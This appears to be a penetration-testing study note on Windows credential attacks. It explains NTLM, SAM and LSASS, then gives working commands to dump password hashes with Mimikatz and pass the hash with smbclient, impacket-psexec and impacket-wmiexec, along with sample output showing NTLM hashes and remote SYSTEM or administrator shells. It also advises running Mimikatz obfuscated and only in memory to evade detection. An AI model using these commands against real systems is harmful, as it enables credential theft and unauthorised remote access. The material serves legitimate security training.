New Technology LAN Manager is a replacement of LAN Manager used to store users password hashes in Windows.
Credentials are stored when a user logs into an account & when a user runs a service. More information below.
Security Account Manager (SAM)
Passwords hashes on Windows are stored in the Security Account Manager (SAM) database file. This is used to authenticate local and remote users.
Local Security Authority Subystem (LSASS).
LSA stands for Local Security Authority and it is a special process which is responsible for authenticating users and verifying Windows logins.
Mimikatz
NOTE: When running Mimikatz it's very important use proper obfuscation techniques since it's heavily signatures. Running it entirely in memory and never saving it on Disk is a good approach.
We can use various commands to extract passwords from the system.
For both the following commands, we must have SeDebugPrivilege access right enabled, which we'll accomplish with privilege::debug.
LSA memory content
reg save hklm\sam sam.hiv
reg save hklm\security security.hiv
reg save hklm\system system.hiv
./mimikatz64.exe "privilege::debug" "token::elevate" "lsadump::sam sam.hiv security.hiv system.hiv" "exit"
sekurlsa**::logonpasswords**
sekurlsa::logonpasswords attempts to extract plaintext passwords and password hashes from all available sources.
lsadump::sam
lsadump::sam extracts NTLM hashes from SAM. NOTE: we must token::elevate to elevate to SYSTEM user privileges. We need local administrator privileges.
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # token::elevate
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM
656 {0;000003e7} 1 D 34811 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Primary
-> Impersonated !
* Process Token : {0;000413a0} 1 F 6146616 MARKETINGWK01\offsec S-1-5-21-4264639230-2296035194-3358247000-1001 (14g,24p) Primary
* Thread Token : {0;000003e7} 1 D 6217216 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Impersonation (Delegation)
mimikatz # lsadump::sam
Domain : MARKETINGWK01
SysKey : 2a0e15573f9ce6cdd6a1c62d222035d5
Local SID : S-1-5-21-4264639230-2296035194-3358247000
RID : 000003e9 (1001)
User : offsec
Hash NTLM: 2892d26cdf84d7a70e2eb3b9f05c425e
RID : 000003ea (1002)
User : nelly
Hash NTLM: 3ae8e5f0ffabb3a627672e1600f1ba10
...
Passing NTLM - p_ass-the-hash_ (PtH)
Depending on situation, we may be able to leverage an NTLM hash without cracking it.
Suppose we are trying to access a share on \\192.168.246.212\. We are entering the necessary permissions to access the share.
Like everything else we need local Administrator on the machine to enable code execution.
kali@kali$ smbclient \\\\192.168.236.212\\secrets -U Administrator --pw-nt-hash 7a38310ea6f0027ee955abed1762964b
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Thu Jun 2 16:55:37 2022
.. DHS 0 Wed Oct 18 17:54:13 2023
secrets.txt A 16 Thu Sep 1 12:23:32 2022
4554239 blocks of size 4096. 1602361 blocks available
smb: \>
Impacket Psexec
We can use Impacket to get a shell. The format is "LMHash:NTHash". We'll give 32 0's for LM.
kali@kali$ impacket-psexec -hashes 0000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b Administrator@192.168.236.212
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Requesting shares on 192.168.236.212.....
[*] Found writable share ADMIN$
[*] Uploading file dZntBvns.exe
[*] Opening SVCManager on 192.168.236.212.....
[*] Creating service AKvb on 192.168.236.212.....
[*] Starting service AKvb.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.707]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>
Impacket Wmiexec
Like psexec we can use wmiexec to obtain a shell.
kali@kali:~$ impacket-wmiexec -hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b Administrator@192.168.50.212
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
files02\administrator
C:\>
NOTE: The difference between Psexec & WmiExec is that Psexec works over SMB while WmiExec uses Windows Management Instrumentation.
